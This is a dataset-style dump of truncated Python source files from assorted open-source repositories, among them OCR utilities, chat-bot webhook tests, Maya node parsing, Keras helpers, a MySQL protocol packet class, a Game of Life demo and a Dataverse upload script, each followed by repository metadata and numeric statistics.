] | null | null | null | lib/utils/general.py | yingbiaoluo/ocr_pytorch | 7d9163f7d6d557d83e2f50a39a3219f330f0cf84 | [
"MIT"
] | null | null | null | import os
import cv2
import glob
import logging
import numpy as np
from pathlib import Path
import torch
from torch.autograd import Variable
import torch.distributed as dist
class strLabelConverter(object):
def __init__(self, alphabet_):
"""
字符串标签转换
"""
self.alphabet = alphabet_ +... | 31.582133 | 136 | 0.57195 | 1,502 | 10,959 | 4.066578 | 0.225033 | 0.008841 | 0.007204 | 0.008841 | 0.106745 | 0.067453 | 0.057629 | 0.047806 | 0.047806 | 0.047806 | 0 | 0.019458 | 0.29656 | 10,959 | 346 | 137 | 31.67341 | 0.772863 | 0.203029 | 0 | 0.109091 | 0 | 0 | 0.036989 | 0.002836 | 0 | 0 | 0 | 0 | 0.013636 | 1 | 0.118182 | false | 0 | 0.040909 | 0 | 0.272727 | 0.009091 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
34a704c37474e7d90bc81f141c9416313e5a36b0 | 3,912 | py | Python | tests/unit_tests/webhook_server_test.py | Leanny/mmpy_bot | fd16db4f1b07130fbf95568fb242387f0c7973e2 | [
"MIT"
] | 196 | 2018-05-31T23:45:34.000Z | 2022-03-20T09:06:55.000Z | tests/unit_tests/webhook_server_test.py | Leanny/mmpy_bot | fd16db4f1b07130fbf95568fb242387f0c7973e2 | [
"MIT"
] | 216 | 2018-05-31T19:18:46.000Z | 2022-03-21T17:09:38.000Z | tests/unit_tests/webhook_server_test.py | tgly307/mmpy_bot | 0ae52d9db86ac018f3d48dd52c11e4996f549073 | [
"MIT"
] | 107 | 2018-06-01T05:12:27.000Z | 2022-02-25T12:40:10.000Z | import asyncio
import threading
import time
import pytest
from aiohttp import ClientSession
from mmpy_bot import Settings
from mmpy_bot.threadpool import ThreadPool
from mmpy_bot.webhook_server import NoResponse, WebHookServer
@pytest.fixture(scope="function")
def threadpool():
pool = ThreadPool(num_workers=1)
... | 37.257143 | 85 | 0.648773 | 467 | 3,912 | 5.310493 | 0.325482 | 0.073387 | 0.062097 | 0.041935 | 0.223387 | 0.2 | 0.16129 | 0.100806 | 0.100806 | 0.054032 | 0 | 0.005214 | 0.264571 | 3,912 | 104 | 86 | 37.615385 | 0.856795 | 0.204755 | 0 | 0.173913 | 0 | 0 | 0.079288 | 0.013592 | 0 | 0 | 0 | 0 | 0.217391 | 1 | 0.072464 | false | 0 | 0.115942 | 0 | 0.231884 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
34a7b81a028bf0267f44066f902a91829b99db68 | 1,023 | py | Python | sample/Python/kabusapi_ranking.py | HolyMartianEmpire/kabusapi | c88ee958c272fb6e1dfde9a256e138c5760ea545 | [
"MIT"
] | 212 | 2020-08-20T09:10:35.000Z | 2022-03-31T08:05:21.000Z | sample/Python/kabusapi_ranking.py | U2u14/kabusapi | e41d0c3fcbcf6a1164ace9eac1a4d93685012dcb | [
"MIT"
] | 496 | 2020-08-20T14:23:59.000Z | 2022-03-31T23:59:09.000Z | sample/Python/kabusapi_ranking.py | U2u14/kabusapi | e41d0c3fcbcf6a1164ace9eac1a4d93685012dcb | [
"MIT"
] | 57 | 2020-08-20T10:40:07.000Z | 2022-03-07T06:28:01.000Z | import urllib.request
import json
import pprint
url = 'http://localhost:18080/kabusapi/ranking' #?type=1&ExchangeDivision=ALL
params = { 'type': 15 } #type - 1:値上がり率(デフォルト)2:値下がり率 3:売買高上位 4:売買代金 5:TICK回数 6:売買高急増 7:売買代金急増 8:信用売残増 9:信用売残減 10:信用買残増 11:信用買残減 12:信用高倍率 13:信用低倍率 14:業種別値上がり率 15:業種別値下がり率
params['ExchangeDivisi... | 39.346154 | 170 | 0.69697 | 152 | 1,023 | 4.677632 | 0.625 | 0.054852 | 0.033755 | 0.064698 | 0.081575 | 0 | 0 | 0 | 0 | 0 | 0 | 0.055556 | 0.155425 | 1,023 | 25 | 171 | 40.92 | 0.767361 | 0.256109 | 0 | 0.173913 | 0 | 0 | 0.180739 | 0.042216 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.130435 | 0 | 0.130435 | 0.347826 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
34a95de29250fa6c98650b9aff0293a9f1a7b915 | 3,905 | py | Python | sfa_api/zones.py | lboeman/solarforecastarbiter-api | 9df598b5c638c3e36d0649e08e955b3ddc1b542d | [
"MIT"
] | 7 | 2018-12-07T22:05:36.000Z | 2020-05-03T03:20:50.000Z | sfa_api/zones.py | lboeman/solarforecastarbiter-api | 9df598b5c638c3e36d0649e08e955b3ddc1b542d | [
"MIT"
] | 220 | 2018-11-01T23:33:19.000Z | 2021-12-02T21:06:38.000Z | sfa_api/zones.py | lboeman/solarforecastarbiter-api | 9df598b5c638c3e36d0649e08e955b3ddc1b542d | [
"MIT"
] | 3 | 2018-10-31T20:55:07.000Z | 2021-11-10T22:51:43.000Z | from flask import Blueprint, jsonify, make_response
from flask.views import MethodView
from sfa_api import spec, json
from sfa_api.schema import ZoneListSchema
from sfa_api.utils.storage import get_storage
from sfa_api.utils.request_handling import validate_latitude_longitude
class AllZonesView(MethodView):
def... | 29.141791 | 79 | 0.557746 | 374 | 3,905 | 5.721925 | 0.315508 | 0.039252 | 0.051402 | 0.028037 | 0.277103 | 0.226168 | 0.114953 | 0.073832 | 0.073832 | 0.073832 | 0 | 0.016135 | 0.333419 | 3,905 | 133 | 80 | 29.360902 | 0.805993 | 0.321639 | 0 | 0.327869 | 0 | 0 | 0.203421 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.04918 | false | 0 | 0.098361 | 0 | 0.245902 | 0.032787 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
34abfc5ba2b2f363e90afe9dd53efcac19d00daf | 1,228 | py | Python | tests/unit/http_/test_adapters.py | matt-mercer/localstack | b69ba25e495c6ef889d33a050b216d0cd1035041 | [
"Apache-2.0"
] | 1 | 2022-03-17T07:22:23.000Z | 2022-03-17T07:22:23.000Z | tests/unit/http_/test_adapters.py | matt-mercer/localstack | b69ba25e495c6ef889d33a050b216d0cd1035041 | [
"Apache-2.0"
] | null | null | null | tests/unit/http_/test_adapters.py | matt-mercer/localstack | b69ba25e495c6ef889d33a050b216d0cd1035041 | [
"Apache-2.0"
] | null | null | null | import requests
from localstack.http import Response, Router
from localstack.http.adapters import RouterListener
from localstack.utils.testutil import proxy_server
class TestRouterListener:
def test_dispatching(self):
def endpoint(request, args):
resp = Response()
resp.set_json({"... | 33.189189 | 77 | 0.592834 | 137 | 1,228 | 5.262774 | 0.394161 | 0.116505 | 0.038835 | 0.133148 | 0.341193 | 0.341193 | 0.23301 | 0.23301 | 0 | 0 | 0 | 0.006904 | 0.292345 | 1,228 | 36 | 78 | 34.111111 | 0.822785 | 0.065147 | 0 | 0.16 | 0 | 0 | 0.083115 | 0.021872 | 0 | 0 | 0 | 0 | 0.32 | 1 | 0.08 | false | 0 | 0.16 | 0 | 0.32 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
34ac4b2375450822de672fe9deedac50930b777e | 647 | py | Python | setup.py | ZaneColeRiley/ArcherProject | 7d9ecf4953e3ea8ce3577321449549743eada34e | [
"MIT"
] | null | null | null | setup.py | ZaneColeRiley/ArcherProject | 7d9ecf4953e3ea8ce3577321449549743eada34e | [
"MIT"
] | null | null | null | setup.py | ZaneColeRiley/ArcherProject | 7d9ecf4953e3ea8ce3577321449549743eada34e | [
"MIT"
] | null | null | null | from cx_Freeze import setup, Executable
import sys
base = None
if sys.platform == "win32":
base = "Win32GUI"
executables = [Executable("Archer.py", base=base, icon="favicon.ico")]
setup(name="Archer",
version="1.0.0",
options={"build_exe": {"packages": ["tkinter", "mysql", "PIL", "time",... | 40.4375 | 264 | 0.638331 | 74 | 647 | 5.486486 | 0.648649 | 0.049261 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.014572 | 0.151468 | 647 | 15 | 265 | 43.133333 | 0.724954 | 0 | 0 | 0 | 0 | 0 | 0.408228 | 0.03481 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.181818 | 0 | 0.181818 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
34ac94f8711db1745f63a3c064eaa86f3dde0de5 | 2,772 | py | Python | WiSe-2122/Uebung-11/Gruppe-C/U11-A1.py | jonasrdt/Wirtschaftsinformatik2 | 30d5d896808b98664c55cb6fbb3b30a7f1904d9f | [
"MIT"
] | 1 | 2022-03-23T09:40:39.000Z | 2022-03-23T09:40:39.000Z | WiSe-2122/Uebung-11/Gruppe-C/U11-A1.py | jonasrdt/Wirtschaftsinformatik2 | 30d5d896808b98664c55cb6fbb3b30a7f1904d9f | [
"MIT"
] | null | null | null | WiSe-2122/Uebung-11/Gruppe-C/U11-A1.py | jonasrdt/Wirtschaftsinformatik2 | 30d5d896808b98664c55cb6fbb3b30a7f1904d9f | [
"MIT"
] | null | null | null | # Übung 11 - Aufgabe 1
# Mitarbeiter-Kartei
# Bereitgestellt von M. Drews im Wintersemester 2021/22
# Funktionen
def trenner(anzahl_striche):
for i in range(anzahl_striche):
print("-", end="")
print()
def fehler():
print("\nFehler: Bitte geben Sie nur Zahlen an, die zur Auswahl stehen.")
def ... | 28.875 | 128 | 0.599206 | 298 | 2,772 | 5.489933 | 0.342282 | 0.091687 | 0.069682 | 0.06357 | 0.333741 | 0.298289 | 0.199267 | 0.199267 | 0.154034 | 0.154034 | 0 | 0.018414 | 0.294733 | 2,772 | 95 | 129 | 29.178947 | 0.818414 | 0.042929 | 0 | 0.432432 | 0 | 0.013514 | 0.263317 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.094595 | false | 0 | 0 | 0 | 0.094595 | 0.202703 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
34af79c82e2f03fa8bacfe2aa4a2b6da7ce9ee22 | 20,230 | py | Python | asciinode.py | bhsingleton/mason | 9a14cdc758b7ef76e53d4ef9d30045834d6c17ef | [
"MIT"
] | 1 | 2021-09-08T00:51:52.000Z | 2021-09-08T00:51:52.000Z | asciinode.py | bhsingleton/mason | 9a14cdc758b7ef76e53d4ef9d30045834d6c17ef | [
"MIT"
] | null | null | null | asciinode.py | bhsingleton/mason | 9a14cdc758b7ef76e53d4ef9d30045834d6c17ef | [
"MIT"
] | null | null | null | import maya.api.OpenMaya as om
from . import asciitreemixin, asciiattribute, asciiplug
from .collections import hashtable, weakreflist, notifylist
import logging
logging.basicConfig()
log = logging.getLogger(__name__)
log.setLevel(logging.INFO)
class AsciiNode(asciitreemixin.AsciiTreeMixin):
"""
Overload of... | 23.997628 | 128 | 0.571824 | 2,025 | 20,230 | 5.651852 | 0.172346 | 0.016776 | 0.016339 | 0.017475 | 0.276365 | 0.235736 | 0.171953 | 0.130712 | 0.123547 | 0.112014 | 0 | 0.000598 | 0.338952 | 20,230 | 842 | 129 | 24.026128 | 0.855231 | 0.310677 | 0 | 0.166667 | 0 | 0.003704 | 0.075687 | 0.03189 | 0 | 0 | 0 | 0.002375 | 0 | 1 | 0.177778 | false | 0 | 0.014815 | 0 | 0.32963 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
34b47fa6cab25d27a526a824846c9378728893e8 | 5,195 | py | Python | predicting_molecular_properties/nn_utils.py | ashesh-0/kaggle_competitions | 58e927971b6ee67583a76a5ac821430a8d0bc31a | [
"MIT"
] | 1 | 2019-11-20T11:33:51.000Z | 2019-11-20T11:33:51.000Z | predicting_molecular_properties/nn_utils.py | ashesh-0/kaggle_competitions | 58e927971b6ee67583a76a5ac821430a8d0bc31a | [
"MIT"
] | null | null | null | predicting_molecular_properties/nn_utils.py | ashesh-0/kaggle_competitions | 58e927971b6ee67583a76a5ac821430a8d0bc31a | [
"MIT"
] | null | null | null | """
Utility functions for Neural network
"""
import pandas as pd
from keras.callbacks import EarlyStopping, ReduceLROnPlateau, ModelCheckpoint
from sklearn.preprocessing import StandardScaler
from keras.layers import Dense, BatchNormalization, Input, LeakyReLU, Dropout
from keras.models import Model, load_model
from ke... | 35.101351 | 112 | 0.638499 | 751 | 5,195 | 4.165113 | 0.250333 | 0.02046 | 0.043159 | 0.060422 | 0.384591 | 0.3539 | 0.282928 | 0.269821 | 0.269821 | 0.269821 | 0 | 0.028258 | 0.209817 | 5,195 | 147 | 113 | 35.340136 | 0.733739 | 0.133013 | 0 | 0.252525 | 0 | 0 | 0.136252 | 0.029484 | 0 | 0 | 0 | 0 | 0.010101 | 1 | 0.040404 | false | 0 | 0.070707 | 0 | 0.141414 | 0.010101 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
34b6d3e8c3f61f05d6fffeaf8b3486a12424b3e5 | 2,809 | py | Python | fn_portal/tests/api/test_fn026.py | AdamCottrill/FishNetPortal | 4e58e05f52346ac1ab46698a03d4229c74828406 | [
"MIT"
] | null | null | null | fn_portal/tests/api/test_fn026.py | AdamCottrill/FishNetPortal | 4e58e05f52346ac1ab46698a03d4229c74828406 | [
"MIT"
] | null | null | null | fn_portal/tests/api/test_fn026.py | AdamCottrill/FishNetPortal | 4e58e05f52346ac1ab46698a03d4229c74828406 | [
"MIT"
] | null | null | null | """=============================================================
~/fn_portal/fn_portal/tests/api/test_FN026.py
Created: 26 May 2021 18:01:30
DESCRIPTION:
This file contains a number of unit tests that verify that the api
endpoint for FN026 objects works as expected:
+ the fn026 list returns all of the spaces... | 24.215517 | 79 | 0.603062 | 380 | 2,809 | 4.255263 | 0.323684 | 0.037106 | 0.037106 | 0.033395 | 0.300557 | 0.277675 | 0.261596 | 0.22449 | 0.183673 | 0.183673 | 0 | 0.045643 | 0.227839 | 2,809 | 115 | 80 | 24.426087 | 0.699862 | 0.229975 | 0 | 0.205882 | 0 | 0 | 0.159774 | 0.035714 | 0 | 0 | 0 | 0 | 0.102941 | 1 | 0.044118 | false | 0 | 0.102941 | 0 | 0.147059 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
34b86bc1dbc7088b4836cb91a3edc65c0a97f48c | 5,182 | py | Python | mindsdb/proxies/mysql/data_types/mysql_packet.py | aykuttasil/mindsdb | 2c36b6f75f13d7104fe4d3dbb7ca307fa84f45ad | [
"MIT"
] | 1 | 2022-03-14T00:32:53.000Z | 2022-03-14T00:32:53.000Z | mindsdb/proxies/mysql/data_types/mysql_packet.py | aykuttasil/mindsdb | 2c36b6f75f13d7104fe4d3dbb7ca307fa84f45ad | [
"MIT"
] | null | null | null | mindsdb/proxies/mysql/data_types/mysql_packet.py | aykuttasil/mindsdb | 2c36b6f75f13d7104fe4d3dbb7ca307fa84f45ad | [
"MIT"
] | null | null | null | """
*******************************************************
* Copyright (C) 2017 MindsDB Inc. <copyright@mindsdb.com>
*
* This file is part of MindsDB Server.
*
* MindsDB Server can not be copied and/or distributed without the express
* permission of MindsDB Inc
**************************************************... | 28.31694 | 147 | 0.588383 | 641 | 5,182 | 4.594384 | 0.218409 | 0.057046 | 0.0309 | 0.031239 | 0.104244 | 0.037351 | 0.024448 | 0.024448 | 0.024448 | 0 | 0 | 0.010785 | 0.284253 | 5,182 | 182 | 148 | 28.472527 | 0.78323 | 0.154767 | 0 | 0.148148 | 0 | 0 | 0.033804 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.148148 | false | 0 | 0.046296 | 0.037037 | 0.296296 | 0.055556 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
34b987e6c437ee88219466fd33845cf6a6a27b4b | 2,538 | py | Python | py/example/gol.py | zefaxet/libant | 1be1865404eea729f8512e9ccd73899fbd5b7cb2 | [
"MIT"
] | 4 | 2019-10-18T06:14:36.000Z | 2020-06-01T14:28:57.000Z | py/example/gol.py | zefaxet/libant | 1be1865404eea729f8512e9ccd73899fbd5b7cb2 | [
"MIT"
] | null | null | null | py/example/gol.py | zefaxet/libant | 1be1865404eea729f8512e9ccd73899fbd5b7cb2 | [
"MIT"
] | null | null | null | import pygame
from random import randint
from time import sleep
import data
SCREEN_SIZE = 700
STAGE_SIZE = 175 # 175 is largest size without bezels for 700 x 700 window
sizeof_rect = int(SCREEN_SIZE / STAGE_SIZE)
bezel = int((SCREEN_SIZE - (STAGE_SIZE * sizeof_rect)) / 2)
def draw_bordered_square(x, y, f... | 25.897959 | 80 | 0.636722 | 410 | 2,538 | 3.787805 | 0.219512 | 0.024469 | 0.033484 | 0.046362 | 0.216999 | 0.05924 | 0.05924 | 0.05924 | 0.05924 | 0.05924 | 0 | 0.029622 | 0.228526 | 2,538 | 97 | 81 | 26.164948 | 0.763534 | 0.021671 | 0 | 0 | 0 | 0 | 0.010487 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.078947 | false | 0 | 0.052632 | 0.026316 | 0.171053 | 0.026316 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
34ba56f92389624b3e0ca24dcce3ebbffc885fcd | 3,494 | py | Python | latexnewfloat.py | takaakiaoki/sphinx_latexnewfloat | e20c4b6825484976cf41c48a634b67524024007f | [
"BSD-2-Clause"
] | null | null | null | latexnewfloat.py | takaakiaoki/sphinx_latexnewfloat | e20c4b6825484976cf41c48a634b67524024007f | [
"BSD-2-Clause"
] | null | null | null | latexnewfloat.py | takaakiaoki/sphinx_latexnewfloat | e20c4b6825484976cf41c48a634b67524024007f | [
"BSD-2-Clause"
] | null | null | null | r""" latexnewfloat.py extension for latex builder to replace
literal-block environment by \captionof{LiteralBlockNewFloat}{caption_title} command.
For \captionof command (in capt-of pacakge), the new environment
LiteralBlockNewFloat should be configured by newfloat pagage instead of
original float package.
needspace ... | 40.627907 | 92 | 0.709788 | 383 | 3,494 | 6.35248 | 0.4047 | 0.04439 | 0.034525 | 0.036169 | 0.076449 | 0.054254 | 0.054254 | 0.054254 | 0.054254 | 0.054254 | 0 | 0.003571 | 0.198626 | 3,494 | 85 | 93 | 41.105882 | 0.865357 | 0.522038 | 0 | 0.051282 | 0 | 0 | 0.130277 | 0.066345 | 0 | 0 | 0 | 0 | 0 | 1 | 0.128205 | false | 0 | 0.051282 | 0 | 0.282051 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
34baa570e639a04a3c0bb24a77d73f14fd9abb0d | 9,347 | py | Python | django_g11n/tools/ipranges.py | martinphellwig/django-g11n | 94eb9da7d7027061873cd44356fdf3378cdb3820 | [
"BSD-2-Clause"
] | null | null | null | django_g11n/tools/ipranges.py | martinphellwig/django-g11n | 94eb9da7d7027061873cd44356fdf3378cdb3820 | [
"BSD-2-Clause"
] | null | null | null | django_g11n/tools/ipranges.py | martinphellwig/django-g11n | 94eb9da7d7027061873cd44356fdf3378cdb3820 | [
"BSD-2-Clause"
] | null | null | null | """
Module to fetch and parse regional NIC delegation data
"""
import urllib.parse
import ftplib
import os
from functools import lru_cache
import socket
import ipaddress
from binascii import hexlify
import tempfile
TWD = tempfile.gettempdir()
DELEGATES = [
# America (non-latin)
"ftp://ftp.arin.net/pub/stats/a... | 32.120275 | 80 | 0.609714 | 1,252 | 9,347 | 4.450479 | 0.241214 | 0.021536 | 0.007897 | 0.008615 | 0.061019 | 0.008615 | 0 | 0 | 0 | 0 | 0 | 0.014773 | 0.27581 | 9,347 | 290 | 81 | 32.231034 | 0.808391 | 0.221461 | 0 | 0.11165 | 0 | 0.019417 | 0.199182 | 0.043084 | 0 | 0 | 0 | 0 | 0 | 1 | 0.072816 | false | 0 | 0.038835 | 0 | 0.18932 | 0.106796 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
34bb5b87da16431c41b077d93418d9a992f6e4d0 | 6,281 | py | Python | src/dh2019dataverse.py | Mish-JPFD/DAPIload | d1f2c0e9832e6731c7e98f03481712db765e9af6 | [
"MIT"
] | null | null | null | src/dh2019dataverse.py | Mish-JPFD/DAPIload | d1f2c0e9832e6731c7e98f03481712db765e9af6 | [
"MIT"
] | null | null | null | src/dh2019dataverse.py | Mish-JPFD/DAPIload | d1f2c0e9832e6731c7e98f03481712db765e9af6 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Author : Jacques Flores
Created : October 17th,2019
About: Script for creating datasets in Dataverse.
An Empty JSON file with Dataverse structure is imported and converted into a JSON dict
Metadata is imported from an excel file into a pandas dataframe and written into the ... | 44.864286 | 215 | 0.603566 | 656 | 6,281 | 5.724085 | 0.347561 | 0.009321 | 0.067111 | 0.082024 | 0.319308 | 0.216778 | 0.203462 | 0.203462 | 0.150732 | 0.150732 | 0 | 0.021623 | 0.285783 | 6,281 | 139 | 216 | 45.18705 | 0.815426 | 0.245343 | 0 | 0.306667 | 0 | 0.026667 | 0.241181 | 0.023374 | 0 | 0 | 0 | 0 | 0 | 1 | 0.026667 | false | 0 | 0.066667 | 0 | 0.093333 | 0.12 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |